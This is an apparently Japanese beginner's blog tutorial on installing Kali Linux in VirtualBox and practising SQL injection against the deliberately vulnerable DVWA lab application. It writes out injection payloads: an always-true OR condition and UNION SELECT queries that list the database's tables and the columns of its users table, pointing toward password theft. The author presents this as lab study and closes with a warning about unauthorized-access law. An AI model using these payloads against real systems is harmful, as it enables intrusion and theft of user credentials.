仮想環境にKali Linuxを導入し攻撃体験

# Kali Linuxとは
Linuxディストリビューションの1つ。
RedHat, CentOS, Debian, Ubuntu などなど
Linuxカーネル + アプリケーションで構成された頒布形態。

Kali Linuxはペネトレーションテスト用のLinuxディストリビューション
Debianをベースに構築されており、300以上のペネトレーションテスト用の
プログラムがインストールされている。

***

## ペネトレーションテストとは
実際の攻撃手法を用いて侵入を試み、システムの脆弱性をテストする手法のこと。
侵入可否の判定だけでなく、

- どのような情報が取得できるのか
- 侵入された場合の汚染範囲はどれくらいか

等の評価も行う。

ちなみに、国外では防弾チョッキへ実際に弾丸を発射して行う
対貫通性能試験もこのように呼ぶらしい。

***

#準備
##VirtualBox
まずは仮想環境から
VirtualBoxを使用します

[VirtualBoxダウンロードページ](https://www.virtualbox.org/wiki/Downloads)

こちらに関しては説明記事が多数あるため割愛

***

##Kali Linux
[Kali Linux ダウンロードページ](https://www.kali.org/downloads/)

isoファイルをダウンロードしてDVDに焼いて使用することもできるようですが、
今回はVirtualBox用のファイルをダウンロード

以前は仮想環境用にもデフォルトで入ったプログラムを削ったlight版があったような記事を見かけたが現在はなさそうなので 3.6 GB の Kali Linux Vbox 64 Bit Ova を選択

ovaファイルがDLできたらVBoxを起動し、メニューの[ファイル] > [仮想アプライアンスのインポート]を選択して、ovaファイルを選択しインポートします。

```
Kali Lixuxを起動しようとすると USB 2.0 controller not found とエラーが出る場合があります
VBox に Extension Packをインストールすると解消するので、VBoxのVer.にあったものを導入しましょう。
```

***

##Kali Linuxの起動
VBoxに登録されたKali Linuxの設定の説明の項目を見ると、UsernameとPasswordが記載されています。

まずはKali Linuxを起動します。数秒待てば立ち上がるはずですが、すぐに起動したいなら KaliGUN/Linuxを選択してEnterを押下してしまいましょう。

起動するとログイン画面が表示されます。先ほど確認したUsernameとPasswordでログインできます。


***

##Kali Linuxの設定
Kaliはデフォルトで日本語に対応しています。
ログイン後、VBoxの画面右上、▼マークを押すといかにも設定画面な工具のマークを発見できるはずです。
ここから設定ページへ向かえます。

Region & Languageから言語とキーボードの設定
詳細の日付と時刻からタイムゾーンの設定が可能です。

しかし、日本語入力に対応させるにはパッケージのインストールが必要なようです。
画面左側にあるタスクバーからTerminalを選択し

```
$ apt-get update
$ apt install -y task-japanese task-japanese-desktop
```

と入力してください。
インストール後再起動

この方法に限らずDebianの日本語環境構築に倣えば日本語化は可能なようです。

***

#攻撃対象 - DVWA
Damn Vulnerable Web Application
つまりめちゃんこ脆弱なwebアプリケーション。この上なく名が体を表しています。

PHP/MySQL製の脆弱性を持つWebアプリケーション
[DVWAダウンロードサイト](http://www.dvwa.co.uk/)
Kaliで上記サイトにアクセスしDVWAをダウンロードし、ファイル名を修正し、ApatchとMysqlを起動して・・・。
と作業が続くのですが、私は「ハッキングラボの作り方」という書籍を片手にこれらの作業を行なっていること、ここに記載するとそれなりの量になるため割愛します。
良書です、買いましょう。

***

##DVWAの持つ脆弱性

- ブルートフォース(Brute Force)
- コマンド実行(Command Execution)
- クロスサイトリクエストフォージェリ(CSRF)
- SQLインジェクション(SQL Injection)
- クロスサイトスクリプティング(XSS)
- などなど

画面左にこれ見よがしに並んでいます<img width="1440" alt="スクリーンショット 2019-02-13 14.16.55.png" src="https://qiita-image-store.s3.amazonaws.com/0/315470/4b9eec6d-2b91-ad65-c276-bf8eeaab9d69.png">

今回はこの中から試しにSQLインジェクションで実際に攻撃行動を取ってみたいと思います。

そのまえに、今回は私のような初心者が攻撃体験をすることを目的にしておりますので
メニューのDVWA Security から　Security LevelをLowにしておきましょう。

私はこれを忘れたまま初期設定のImpossible相手に頭を悩ませていました。
「インジェクションできないぞ」と。
そりゃ無理ですよね

***
#SQLインジェクション
SQLインジェクションモードを選択するとUser ID入力欄だけが表示されます。
促されるままに適当なIDを入力するとデータが返ってきます。

```:例
User ID = 1

ID: 1
First name: admin
Surname: admin 
```

試しにあまりにも適当なID、(999, -1, 'id' など)を入力すると何も返してきません。
このプログラムがSQLインジェクションに対する脆弱性を持っています

***

このプログラムはこのようなSQLが実行されていると推測できます。

```SQL
SELECT
  id,first_name,sur_name
FROM
  {ユーザーテーブル}
WHERE
  id = '{入力値}'
;
```
IDは入力値をそのまま使っていてSELECT文には含まれないかもしれません。
ここからテーブル内の全レコードから情報を取得します。

ようはwhere句を破綻させればいいんですね。

***

このSQLは入力値をなんの処理も施さずそのままwhere句に与えると仮定して入力欄に
「1' OR 'a' = 'a」
と入力します。
すると実際に実行されるSQLは以下の通りです。

```SQL
SELECT
  first_name,sur_name
FROM
  {ユーザーテーブル}
WHERE
  id = '1' OR 'a' = 'a'
;
```

1の後ろに入力された ' でwhere句を無理やり終わらせて、その後OR句に常時trueの条件式を与えた形になります。
そのため全てのレコードが表示されました。

戻ってくるのはこんな結果

```
ID: 1' OR 'a' = 'a
First name: admin
Surname: admin 

・・・以下4件
```

どうやらID部分は入力値を使用しているようです。

***
##全テーブル名の取得
where句に介入することに成功しました。
次はUNIONを使い任意の値を引き抜いてみます。

infomation_schemaにはDBに関する情報が保存されています。
ユーザーは操作はできないが、参照することはできます。
ここにあるtablesテーブルを狙います。

```SQL:入力
' UNION SELECT table_name FROM infomation_schema.tables #
```

しかし、このままだと
The used SELECT statements have different number of columns
とunionしているもののカラム数が違うとエラーが出ます。

***
先ほどの結果からこのSQLはfirst_nameとsur_nameの２カラムを返すことが推測できています。
ですのでこちらもそれに合わせるために１カラム分nullを足します。

```SQL
' UNION SELECT table_name,null FROM infomation_schema.tables #
```
これにより全DBが所持するテーブルが出力されます。
usersといういかにもなテーブルからALL_PLUGINSなるものまで、大量に出てきます。

このままでは不要な情報も多いので
dvwaというDBが持つテーブルだけを抜き出します。

***

```SQL
' UNION SELECT table_name,null FROM infomation_schema.tables WHERE table_schema = 'dvwa' #
```

guestbook, users の２テーブルが取得できました。
やはりusersテーブルが肝心のユーザー情報を持っていそうです。

***
今度はinfomation_schema.columns　からusersテーブルのカラム名を取得します。

```SQL

' UNION SELECT table_name, column_name FROM infomation_schema.columns WHERE table_schema = 'dvwa' and table_name = 'users' #

```
結果、このテーブルには
user_id, first_name, last_name, user, password, avatar, last_login, failed_login
以上のカラムがあることがわかりました。

当然ですがpasswordカラムがありますね。
この後は悪意のある人間ならばpasswordを取得し、複合し、不正利用という流れになるのでしょうか。

ここまでの範囲ではKali Linuxに搭載されているプログラムを利用してはいませんが、レインボーテーブル総なめツール「findmyhash」等も搭載されているようなので、パスワード自体の脆弱性テストにも使えるでしょう。


***

Kali Linuxには多数のペネトレーションテストツールがあり、当然性質上実際の攻撃行為にも利用できてしまうでしょう。

しかし、これを利用するのはあくまで自身のアプリケーションの脆弱性テストや、セキュリティに関し、敵を知り己を知ろうというスタンスで使うべきものです。

当然不正アクセス禁止法にも抵触するため他者への利用はくれぐれも厳禁です。

***

#参考サイト、文献
http://www.criterion.sc/extra/pentest-1.html
http://it-hack.net/2016/05/12/post-1455/
https://www.pupha.net/archives/1297/
https://doruby.jp/users/r357_on_rails/entries/Kali-Linux-2017-3
[ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習 (2018/12/7) IPUSIRON](https://www.amazon.co.jp/%E3%83%8F%E3%83%83%E3%82%AD%E3%83%B3%E3%82%B0%E3%83%BB%E3%83%A9%E3%83%9C%E3%81%AE%E3%81%A4%E3%81%8F%E3%82%8A%E3%81%8B%E3%81%9F-%E4%BB%AE%E6%83%B3%E7%92%B0%E5%A2%83%E3%81%AB%E3%81%8A%E3%81%91%E3%82%8B%E3%83%8F%E3%83%83%E3%82%AB%E3%83%BC%E4%BD%93%E9%A8%93%E5%AD%A6%E7%BF%92-IPUSIRON/dp/4798155306)